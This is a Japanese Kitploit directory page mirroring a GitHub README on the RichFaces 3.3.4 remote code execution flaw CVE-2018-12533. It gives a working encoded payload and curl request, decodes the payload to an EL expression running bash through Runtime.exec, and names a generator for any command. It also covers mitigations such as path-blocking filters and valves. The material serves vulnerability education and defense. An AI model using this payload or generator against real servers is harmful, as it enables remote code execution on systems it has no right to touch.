Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
richfaces-vulnerability-cve-2018-12533-rf-14310 | Kitploit
ツール/GitHubGitHub/mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用学習と教育
GitHubmhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310

richfaces-vulnerability-cve-2018-12533-rf-14310

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
11年前未レビュー

RichFaces 3.3.4 に存在するリモートコード実行の脆弱性と、その軽減および/またはブロック方法を実証する

  • 攻撃例
  • リポジトリをクローンする
  • ペイロードをデコードする
  • Java クラスをデシリアライズする
  • 脆弱性をテストするためのペイロードを生成する
  • どう軽減するか?
    • そのエンドポイントが本当に必要な場合
    • そのエンドポイントが不要な場合
  • 実行フローを理解する
  • この機能を使うのは誰か?
  • ヒント
  • 関連リンク

CVE-2018-12533 の詳細。他のバージョンの RichFaces も脆弱です。こちら で確認できます。

攻撃例

root@kitploit:~
export PAYLOAD_BASE64_RICHFACES='eJx1k8-LFEcUx98MuKtZD0YhIQTJOkpmBrarZ2ZdWdksmv2BGZg14oigEoY3NW-7a62u6q16M9PrYm5evHr1llMgAcG!wJsEctk!IR4kh4CE5Bzp7tUlktSlisenvu9Lfev99Acc8w4uWRcJp2S8jZK8cGRG5O4rFjEnWtxAZbizcZO8HTtJF7oJRrSBjKsvD3479c-Pz6ow24Xjg2G0brV1XZgdbFuXIOenmFQUcxdmBlM14vgunJAoY8Khph4cG4yQkeF0bwcnGGo0UfjtcIckr!RgZpDmjXfhe6hkKZSrAgBfAICF1Dv4Mr-WidK1tElqDRkWfUamb6wekevjhNydX56vPnn661YVqj04ITV6fx0T-nffPjtlopUefORxQqNCg-GTklA27JNTqNWD3PlKlubt69Imwo9NYUATe0Fa9ChCubdFHNvRmjIjZaJ33qtQ6UElYfi8UM1C0mEJbmapI--VNSvZ!yrfwuhD-p3ySYDMwWflc5AWH3J4-q8La692uVpwZ95zR8QPjx73!7x78FVO5A7O5V9iZ2i9!y-9bpLq4ZtP!5578fFW3jsPae4BQGWuMnt-v8hj3RqmjEVEvJkxOYP6sNRo5sX1PIZGU2xbl4fRqJWmvHQqZdEvtk0TKUNbaDAiV2sKQ9Ou8YxGUilSAmt7hwq-1hQ0QV2KiTxXcXNsWCWU04fHRlNQRrJxrz5EH9cX6oGsL9TZjmU8H3KShu8nIZiMtSGHQ6UV7wVyQkGn1V4O2p2lxcXAbQfti4vtVtBpdZZa7VYnaLdbF5eW6981a82HAGMHZ-71jpwc!rCfD26!!v3s!rXipQGgymUgAqcsrjlMYyV9Z4Ph1NHVcijSNJt-DVfCiaKpD6U1fqwZb-DIoRVZPqvzVy8vLyy154vJWa2d35eYsoxxjdCIoviwlr0F6sFSwQ__'
curl "http://localhost:8080/myapp/a4j/s/3_3_3.Finalorg.richfaces.renderkit.html.Paint2DResource/DATA/${PAYLOAD_BASE64_RICHFACES}.seam"

DATA/ の後、.seam の直前までが攻撃ペイロードです。これは、シリアライズされ、zip 圧縮され、Base64 でエンコードされた Java クラスにすぎません。これは、RichFaces が URL と互換性を持たせるために少し変更した形式の Base64 です。

このクラスには、アプリケーション、より正確には RichFaces によって実行される Expression Language 形式のコマンドラインが含まれています。ここが問題であり、サーバー上で任意のコードが実行される可能性があります。

上記のペイロードにエンコードされているコマンドは touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458 です(デモンストレーション目的のみ)。これはこの後すぐに確認します。

リポジトリをクローンする

root@kitploit:~
git clone [email protected]:mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310.git
cd richfaces-vulnerability-cve-2018-12533-rf-14310

ペイロードをデコードする

root@kitploit:~
echo "${PAYLOAD_BASE64_RICHFACES}" | \
    sed 's/-/+/g' | \
    sed 's#!#/#g' | \
    sed 's/_/=/g' | \
    base64 -d | \
    zlib-flate -uncompress > UmaClasse.serialized-class.bin

ペイロードを RichFaces の Base64 形式から標準の Base64 形式に変換します。Base64 をデコードします。この場合、それは zip 圧縮されたバイナリなので、解凍すると シリアライズされた Java クラスのバイナリが生成されます。

Java クラスをデシリアライズする

ここでは、ペイロード内に含まれる悪意のあるコマンドを確認します。

以下のコマンドは、クラスに定義されているすべての属性と、それぞれの型を表示します。実行時の型は表示されません。それが何を意味するか分からなくても問題ありません。

ここでは、JBang のおかげで、Java コードをスクリプトのように実行しています。

root@kitploit:~
chmod +x JavaObjectDeserializer.java
./JavaObjectDeserializer.java UmaClasse.serialized-class.bin

出力は次のようなものになります:

root@kitploit:~
Objeto java convertido para JSON:
{
  "_width (int)": 111,
  "_height (int)": 31,
  "_data (java.lang.Object)": null,
  "_format (int)": 1,
  "_paint (java.lang.Object)": {
    "className (java.lang.String)": null,
    "savedState (java.io.Serializable)": {
      "m (javax.el.MethodExpression)": {
        "attr (java.lang.String)": "/views/consultaPadrao.xhtml @98,51 paint=\"#{captchaBean.paint}\"",
        "orig (javax.el.MethodExpression)": {
          "expectedType (java.lang.Class)": null,
          "expr (java.lang.String)": "#{facesContext.getExternalContext().getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec(['bash','-c','touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458'])\")}",
          "fnMapper (javax.el.FunctionMapper)": null,
          "varMapper (javax.el.VariableMapper)": null,
          "paramTypes ([Ljava.lang.Class;)": [
            "java.awt.Graphics2D",
            "java.lang.Object"
          ]
        }
      }
    }
  },
  "cacheable (boolean)": false,
  "_bgColor (int)": 0
}
Arquivo .class gravado em: org.richfaces.renderkit.html.Paint2DResource$ImageData.class

⚠️ 重要なのは _paint.savedState.m.orig.expr 属性です。ここに悪意のあるコードがあります。この例では、ディスク上にファイルを作成するだけの無害なコードです:touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458

脆弱性をテストするためのペイロードを生成する

root@kitploit:~
chmod +x Generator_Paint2DResourceImageData.java

./Generator_Paint2DResourceImageData.java
# ou
./Generator_Paint2DResourceImageData.java <um comando aqui>
./Generator_Paint2DResourceImageData.java touch /tmp/alguem-esteve-aqui

出力には、脆弱なサーバーに対して実行するためのコマンドが表示されます。URL だけを調整してください。

どう軽減するか?

そのエンドポイントが本当に必要な場合

シンプルではありませんが、より高性能なオプションは、RichFaces のコードを変更して何らかの処理を行うことです。関連するスタックは後述します。

前の方法よりシンプルなもう 1 つのオプションは、フィルター(javax.servlet.Filter)を作成することです。これは問題のパスのみに作用し、パス内の Base64 をデシリアライズして、リクエストを続行できるか拒否すべきかを判断するための適切な検証を行います。強調しておきたいのは、org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String) で行われているように、デシリアライズは LookAheadObjectInputStream クラスを通じて行われなければならないということです。これは、悪意のあるコードの実行など、デシリアライズ中のセキュリティ問題を可能な限り回避するためです。

そのエンドポイントが不要な場合

1 つのオプションは、アプリケーションの前段にあるプロキシでエンドポイントのパスをブロックすることです。

もう 1 つの、実装する価値があると思うオプション(ただし、最初のオプションを除外するものではありません)は、フィルター(javax.servlet.Filter)を作成することです。これは問題のパスのみに作用し、アクセスをブロックします。ブロックは、フィルターチェーンに実行を続行させずに、リクエストに応答するだけです。ボディにテキストを入れ、HTTP ステータスコード 410(Gone)を使用できます。このフィルターはアプリケーションの web.xml で定義する必要があることに注意してください。このフィルターの例: PathBlockerFilter。

JBoss EAP を使用している場合、ここで説明したフィルターはバルブ(valve)として実装できます(変更は最小限です)。次のようになります:

  • web.xml で定義されたフィルターより先に実行されます
  • jboss-web.xml ファイルで最初の <valve> として定義する必要があります。または
  • standalone.xml(または domain.xml)の urn:jboss:domain:web サブシステムで <valve タグを使用して定義できます
  • このバルブの例: PathBlockerValve

実行フローを理解する

tl;dr: 悪意のあるコードは、org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext) メソッドの paint.invoke(facesContext, new Object[] {graphics,data._data}); という行で実行されます。

HTTP リクエストが行われると、以下のスタックのように org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String) メソッドに到達します:

root@kitploit:~
Daemon Thread [http-0.0.0.0:8080-1] (Suspended)
  owns: org.apache.coyote.Request  (id=27053)
  org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(java.lang.String) line: 366
  org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 156
  org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141
  1. dataString = key.substring(dataStart); の行で、RichFaces 形式の Base64 が抽出されます(この Base64 は結局のところ、シリアライズされ zip 圧縮された Java オブジェクトであることに注意してください)。
  2. objectArray = decrypt(dataArray) の行で、この Base64 がデコードされ解凍されます。
  3. data = in.readObject() の行で、悪意のあるコードを含む Java オブジェクトがデシリアライズされます。つまり、オブジェクトのインスタンスが得られます。

次に、リクエストは以下のスタックのように org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext) メソッドに到達します:

root@kitploit:~
Daemon Thread [http-0.0.0.0:8080-1] (Suspended (breakpoint at line 187 in org.richfaces.renderkit.html.Paint2DResource))
  owns: org.apache.coyote.Request  (id=27053)
  org.richfaces.renderkit.html.Paint2DResource.send(org.ajax4jsf.resource.ResourceContext) line: 187
  org.ajax4jsf.resource.ResourceLifecycle.sendResource(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 221
  org.ajax4jsf.resource.ResourceLifecycle.send(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 148
  org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 226
  org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141

⚠️ そして、paint.invoke(facesContext, new Object[] {graphics,data._data}); の行で、悪意のあるコードが最終的に実行されます。

この機能を使うのは誰か?

1 つの例を挙げると、rich:paint2D コンポーネントです:https://docs.jboss.org/richfaces/latest_3_3_X/en/devguide/html_single/#rich_paint2D

ヒント

アプリケーションが受信したペイロードは、クラス org.ajax4jsf.resource.ResourceBuilderImpl の DEBUG ログを有効にすると確認できます。

関連リンク

  • https://codewhitesec.blogspot.com/2018/05/poor-richfaces.html(主)
  • https://seclists.org/fulldisclosure/2020/Mar/21
  • https://github.com/redtimmy/Richsploit
  • https://web.archive.org/web/20200315184606/https://www.redtimmy.com/java-hacking/richsploit-one-tool-to-exploit-all-versions-of-richfaces-ever-released/
ツールをダウンロード